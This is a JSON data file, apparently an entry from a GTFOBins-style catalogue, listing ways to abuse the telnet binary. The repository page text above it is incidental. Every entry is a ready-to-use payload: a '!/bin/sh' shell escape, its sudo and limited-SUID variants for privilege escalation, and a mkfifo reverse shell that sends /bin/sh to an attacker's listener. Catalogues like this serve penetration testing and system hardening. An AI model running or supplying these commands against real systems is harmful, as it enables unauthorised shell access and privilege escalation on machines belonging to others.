You cannot select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
28 lines
762 B
JSON
28 lines
762 B
JSON
5 years ago
|
{
|
||
|
"functions": {
|
||
|
"shell": [
|
||
|
{
|
||
|
"description": "BSD version only. Needs to be connected first.",
|
||
|
"code": "telnet [host] [port]\n^]\n!/bin/sh\n"
|
||
|
}
|
||
|
],
|
||
|
"reverse-shell": [
|
||
|
{
|
||
|
"description": "Run 'nc -lp [port]' on the attacker box to receive the shell.",
|
||
|
"code": "TF=$(mktemp -u)\nmkfifo $TF && telnet [host] [port] 0<$TF | /bin/sh 1>$TF\n"
|
||
|
}
|
||
|
],
|
||
|
"sudo": [
|
||
|
{
|
||
|
"description": "BSD version only. Needs to be connected first.",
|
||
|
"code": "sudo telnet [host] [port]\n^]\n!/bin/sh\n"
|
||
|
}
|
||
|
],
|
||
|
"limited-suid": [
|
||
|
{
|
||
|
"description": "BSD version only. Needs to be connected first.",
|
||
|
"code": "./telnet [host] [port]\n^]\n!/bin/sh\n"
|
||
|
}
|
||
|
]
|
||
|
}
|
||
|
}
|